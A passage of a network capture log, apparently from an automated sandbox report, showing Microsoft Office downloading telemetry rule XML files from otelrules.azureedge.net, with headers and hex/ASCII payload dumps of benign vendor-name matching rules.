xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:43 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:43 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094743Z-17c5cb586f626sn8grcgm1gf8000000004v00000000050pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:44 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 4a7bd2a8-301e-0096-209e-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094744Z-16849878b785jrf8dn0d2rczaw00000007fg000000009dd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094744Z-16849878b78x6gn56mgecg60qc0000000860000000005h6b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:44 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094744Z-16849878b78q9m8bqvwuva4svc00000004t000000000e47b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094744Z-16849878b78qwx7pmw9x5fub1c00000004cg00000000e6m5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:44 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094744Z-15b8d89586fzcfbd8we4bvhqds00000001b0000000002xqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:45 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 07599615-001e-0082-48f6-265880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094745Z-17c5cb586f6z6tw6g7cmdv30m800000007s00000000021ww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:45 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:45 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094745Z-15b8d89586f4zwgbgswvrvz4vs00000007g000000000bqn1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cb951b4e-f01e-0020-727f-28956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094745Z-17c5cb586f6w4mfs5xcmnrny6n000000085g000000000fev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:45 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094745Z-16849878b78wc6ln1zsrz6q9w8000000064g0000000008nv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:45 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094745Z-16849878b787bfsh7zgp804my4000000053g000000009tqu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:46 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:46 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:46 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 7a23be84-101e-0079-6389-285913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094746Z-15b8d89586f5s5nz3ffrgxn5ac0000000730000000002mra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
